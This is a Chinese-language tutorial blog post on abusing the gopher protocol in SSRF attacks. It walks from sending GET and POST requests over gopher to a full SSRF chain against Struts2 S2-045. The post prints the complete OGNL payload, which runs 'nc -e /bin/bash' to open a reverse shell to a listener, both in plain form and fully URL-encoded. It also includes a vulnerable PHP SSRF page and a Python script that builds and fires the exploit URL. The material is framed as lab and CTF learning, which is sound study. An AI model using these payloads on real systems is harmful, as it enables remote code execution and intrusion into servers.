Gopher协议在SSRF漏洞中的深入研究


如果需要大佬写好的脚本,可以直接去github上面搜

参考文章:https://zhuanlan.zhihu.com/p/112055947   

                  https://www.cnblogs.com/Konmu/p/12984891.html    

                  https://mp.weixin.qq.com/s/umNUpdz6Mqvhlgqu4-9NCQ

1、什么是gopher协议?
2、如何使用gopher协议反弹shell?
3、在SSRF中如何使用gopher协议反弹shell?

Gopher 协议可以说是SSRF中的万金油,。利用此协议可以攻击内网的 redis、ftp等等,也可以发送 GET、POST 请求。这无疑极大拓宽了 SSRF 的攻击面。

gopher协议

定义:Gopher是Internet上一个非常有名的信息查找系统,它将Internet上的文件组织成某种索引,很方便地将用户从Internet的一处带到另一处。在WWW出现之前,Gopher是Internet上最主要的信息检索工具,Gopher站点也是最主要的站点,使用tcp70端口。但在WWW出现后,Gopher失去了昔日的辉煌。现在它基本过时,人们很少再使用它;

想了想,这不和http差不多嘛。。。。。。打比赛的时候可以代替HTTP;

gopher协议支持发出GET、POST请求:可以先截获get请求包和post请求包,在构成符合gopher协议的请求。gopher协议是ssrf利用中最强大的协议。

语法格式gopher协议格式:gopher://IP:port/_{TCP/IP数据流}    例如:发送数据abc到192.168.0.119:3333地址  就是 margine:~ margin$ curl gopher://192.168.0.119:333/_abcd  

     URL:gopher://<host>:<port>/<gopher-path>_后接TCP数据流   注意:不要忘记下划线 "___"

    · gopher的默认端口是70

    · 如果发起post请求,回车换行需要使用%0d%0a,如果存在多个参数,参数之间的&也需要进行URL编码

     注意:%0d%0a是\r\n的URL编码。

使用Gopher发送请求

  • Gopher发送请求:

gopher协议格式:gopher://IP:port/_{TCP/IP数据流}

 

 

 

 

  • Gopher发送GET请求

在gopher协议中发送HTTP的数据,需要以下三步:

1、构造HTTP数据包
2、URL编码、替换回车换行为%0d%0a
3、发送gopher协议

准备测试用的PHP代码如下:

<?php 
echo "Hello"." ".$_GET['param']."\n"
?>

一个GET型的HTTP包,如下:

curl gopher://192.168.109.166:80/_GET /get.php?param=Konmu HTTP/1.1
Host:192.168.109.166%0d%0a

这里必须对HTTP头中的部分内容进行编码

URL编码后为:

curl gopher://192.168.109.166:80/_GET%20/get.php%3fparam=Konmu%20HTTP/1.1%0d%0aHost:192.168.109.166%0d%0a
对比上面的可以看到,
被转换成了 %3f
换行被转换成了 %0d%0a
空格 被转换成了 %0d

在转换为URL编码时候有这么几个需要注意的地方:

1、问号(?)需要转码为URL编码,也就是%3f
2、回车换行要变为%0d%0a,但如果 直接用工具转,可能只会有%0a
3、在HTTP包的最后要加 %0d%0a,代表消息结束(具体可研究HTTP包结束)

此外自己本地测试时要注意将防火墙关掉!!!

 

 

  •  Gopher发送POST请求

POSTGET传参的区别:它有4个参数为必要参数

需要传递Content-Type,Content-Length,host,post的参数

如果发起post请求,回车换行需要使用%0d%0a,如果多个参数,参数之间的&也需要进行URL编码

发送POST请求前,先看下POST数据包的格式

POST /ssrf/base/post.php HTTP/1.1
host:192.168.0.109
Content-Type:application/x-www-form-urlencoded
Content-Length:11                                                          

name=Margin

将上面的POST数据包进行URL编码并改为gopher协议

curl gopher://192.168.0.109:80/_POST%20/ssrf/base/post.php%20HTTP/1.1%0d%0AHost:192.168.0.109%0d%0AContent-Type:application/x-www-form-urlencoded%0d%0AContent-Length:11%0d%0A%0d%0Aname=Margin%0d%0A

注意,这是一整行,复制粘贴的时候不能断开。

post.php的代码为

<?php
    echo "Hello ".$_POST["name"]."\n"
?>

使用curl发起gopher的POST请求后,结果为:

 

 OK,那我们现在就介绍完了gopher协议的GET和POST请求



Gopher在SSRF中的利用 —— 使用Gopher协议反弹shell

1.struts2-045漏洞 可用 Gopher协议弹shell ,详细文章在 分类 -> web渗透入门阶段学习 里

说个题外话,struts2-045漏洞可以直接修改 content-type 内容直接利用,没必要非得用 Gopher 协议,当然,这里是借助struts2 -045漏洞 为了展示Gopher 在SSRF 中 getshell 的功能。

1.我们先准备了一个带有ssrf漏洞的页面,代码如下:

<?php
    $url = $_GET['url'];
    $curlobj = curl_init($url);
    echo curl_exec($curlobj);
?>

这里需要注意的是,你的PHP版本必须大于等于5.3,并且在php.ini文件中开启了extension=php_curl.dll
2. 我在kali开启了一个监听nc -lp 6666
然后在浏览器中访问:

http://192.168.0.109/ssrf/base/curl_exec.php?url=gopher://192.168.0.119:6666/_abc

 可以看到nc接收到了消息,没有问题。

>nc -lp 6666
abc

看了大佬的渗透过程,当时感觉,有必要这么复杂么,直接写shell不行么?(因为昨天刚复现并且写完SSRF + redis 写shell。。。)但是仔细想想,咋直接写?写到哪里???

这个STRUTS2-045漏洞和redis 写 shell 的原理不一样,这个直接构造HTTP头就可以执行命令,所以不需要写shell这类的。

关于struts2-045漏洞,比较出名的漏洞,影响很大,网上有很多很多poc,直接修改content-type内容即可,你要是问我为啥内容是这个,我也不会。。。

GET /S2-045/ HTTP/1.1Host: 192.168.0.119Content-Type:%{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='nc -e /bin/bash 192.168.0.119 6666').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}

我们将其变为gopher所能使用的请求

 curl gopher://192.168.0.119:8080/_GET%20/S2-045/%20HTTP/1.1%0d%0aHost:192.168.0.119%0d%0aContent-Type:%25%7b%28%23%5f%3d%27%6d%75%6c%74%69%70%61%72%74%2f%66%6f%72%6d%2d%64%61%74%61%27%29%2e%28%23%64%6d%3d%40%6f%67%6e%6c%2e%4f%67%6e%6c%43%6f%6e%74%65%78%74%40%44%45%46%41%55%4c%54%5f%4d%45%4d%42%45%52%5f%41%43%43%45%53%53%29%2e%28%23%5f%6d%65%6d%62%65%72%41%63%63%65%73%73%3f%28%23%5f%6d%65%6d%62%65%72%41%63%63%65%73%73%3d%23%64%6d%29%3a%28%28%23%63%6f%6e%74%61%69%6e%65%72%3d%23%63%6f%6e%74%65%78%74%5b%27%63%6f%6d%2e%6f%70%65%6e%73%79%6d%70%68%6f%6e%79%2e%78%77%6f%72%6b%32%2e%41%63%74%69%6f%6e%43%6f%6e%74%65%78%74%2e%63%6f%6e%74%61%69%6e%65%72%27%5d%29%2e%28%23%6f%67%6e%6c%55%74%69%6c%3d%23%63%6f%6e%74%61%69%6e%65%72%2e%67%65%74%49%6e%73%74%61%6e%63%65%28%40%63%6f%6d%2e%6f%70%65%6e%73%79%6d%70%68%6f%6e%79%2e%78%77%6f%72%6b%32%2e%6f%67%6e%6c%2e%4f%67%6e%6c%55%74%69%6c%40%63%6c%61%73%73%29%29%2e%28%23%6f%67%6e%6c%55%74%69%6c%2e%67%65%74%45%78%63%6c%75%64%65%64%50%61%63%6b%61%67%65%4e%61%6d%65%73%28%29%2e%63%6c%65%61%72%28%29%29%2e%28%23%6f%67%6e%6c%55%74%69%6c%2e%67%65%74%45%78%63%6c%75%64%65%64%43%6c%61%73%73%65%73%28%29%2e%63%6c%65%61%72%28%29%29%2e%28%23%63%6f%6e%74%65%78%74%2e%73%65%74%4d%65%6d%62%65%72%41%63%63%65%73%73%28%23%64%6d%29%29%29%29%2e%28%23%63%6d%64%3d%27%6e%63%20%2d%65%20%2f%62%69%6e%2f%62%61%73%68%20%31%39%32%2e%31%36%38%2e%30%2e%31%31%39%20%36%36%36%36%27%29%2e%28%23%69%73%77%69%6e%3d%28%40%6a%61%76%61%2e%6c%61%6e%67%2e%53%79%73%74%65%6d%40%67%65%74%50%72%6f%70%65%72%74%79%28%27%6f%73%2e%6e%61%6d%65%27%29%2e%74%6f%4c%6f%77%65%72%43%61%73%65%28%29%2e%63%6f%6e%74%61%69%6e%73%28%27%77%69%6e%27%29%29%29%2e%28%23%63%6d%64%73%3d%28%23%69%73%77%69%6e%3f%7b%27%63%6d%64%2e%65%78%65%27%2c%27%2f%63%27%2c%23%63%6d%64%7d%3a%7b%27%2f%62%69%6e%2f%62%61%73%68%27%2c%27%2d%63%27%2c%23%63%6d%64%7d%29%29%2e%28%23%70%3d%6e%65%77%20%6a%61%76%61%2e%6c%61%6e%67%2e%50%72%6f%63%65%73%73%42%75%69%6c%64%65%72%28%23%63%6d%64%73%29%29%2e%28%23%70%2e%72%65%64%69%72%65%63%74%45%72%72%6f%72%53%74%72%65%61%6d%28%74%72%75%65%29%29%2e%28%23%70%72%6f%63%65%73%73%3d%23%70%2e%73%74%61%72%74%28%29%29%2e%28%23%72%6f%73%3d%28%40%6f%72%67%2e%61%70%61%63%68%65%2e%73%74%72%75%74%73%32%2e%53%65%72%76%6c%65%74%41%63%74%69%6f%6e%43%6f%6e%74%65%78%74%40%67%65%74%52%65%73%70%6f%6e%73%65%28%29%2e%67%65%74%4f%75%74%70%75%74%53%74%72%65%61%6d%28%29%29%29%2e%28%40%6f%72%67%2e%61%70%61%63%68%65%2e%63%6f%6d%6d%6f%6e%73%2e%69%6f%2e%49%4f%55%74%69%6c%73%40%63%6f%70%79%28%23%70%72%6f%63%65%73%73%2e%67%65%74%49%6e%70%75%74%53%74%72%65%61%6d%28%29%2c%23%72%6f%73%29%29%2e%28%23%72%6f%73%2e%66%6c%75%73%68%28%29%29%7d%0d%0a

 一定要注意最后加上%0d%0a,以及很多URL编码工具将会回车换行转码为%0a,一定要自己替换为%0a%0d

在试错的过程中发现:URL中的/不能进行两次编码,端口号不可以两次编码,协议名称不可两次转码

发送之后就可以反弹shell

最后附上编码脚本(python2.7):

#!/usr/bin/python
# -*- coding: UTF-8 -*-
import urllib2,urllib

url = "http://192.168.0.109/ssrf/base/curl_exec.php?url="
header = """gopher://192.168.0.119:8080/_GET /S2-045/ HTTP/1.1
Host:192.168.0.119
Content-Type:"""
cmd = "nc -e /bin/bash 192.168.0.109 6666"
content_type = """自己填写(不要有换行)"""
header_encoder = ""
content_type_encoder = ""
content_type_encoder_2 = ""
url_char = [" "]
nr = "\r\n"

# 编码请求头
for single_char in header:
    if single_char in url_char:
        header_encoder += urllib.quote(urllib.quote(single_char,'utf-8'),'utf-8')
    else:
        header_encoder += single_char

header_encoder = header_encoder.replace("\n",urllib.quote(urllib.quote(nr,'utf-8'),'utf-8'))

# 编码content-type,第一次编码
for single_char in content_type:
    # 先转为ASCII,在转十六进制即可变为URL编码
    content_type_encoder += str(hex(ord(single_char)))
content_type_encoder = content_type_encoder.replace("0x","%") + urllib.quote(nr,'utf-8')
# 编码content-type,第二次编码
for single_char in content_type_encoder:
    # 先转为ASCII,在转十六进制即可变为URL编码
    content_type_encoder_2 += str(hex(ord(single_char)))
content_type_encoder_2 = content_type_encoder_2.replace("0x","%")
exp = url + header_encoder + content_type_encoder_2
print exp
request = urllib2.Request(exp)
response = urllib2.urlopen(request).read()
print response

 

Gopher协议目前应用的很少很少,除了在打CTF比赛比如说禁用了HTTP协议。。。可能会用到,其他很少方面会用到这个协议

 

 这里给大家推荐一个脚本 github 地址:https://github.com/tarunkant/Gopherus , 脚本可以生成利用连接,省去了我们很多事,从下图可以看见,它支持了我们常见的一些应用。

 

 


除此之外,也可以在 github 上搜索关键字 ssrf 来看一些大家常用的脚本和利用方式

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 


免责声明!

本站转载的文章为个人学习借鉴使用,本站对版权不负任何法律责任。如果侵犯了您的隐私权益,请联系本站邮箱yoyou2525@163.com删除。



 
粤ICP备18138465号  © 2018-2025 CODEPRJ.COM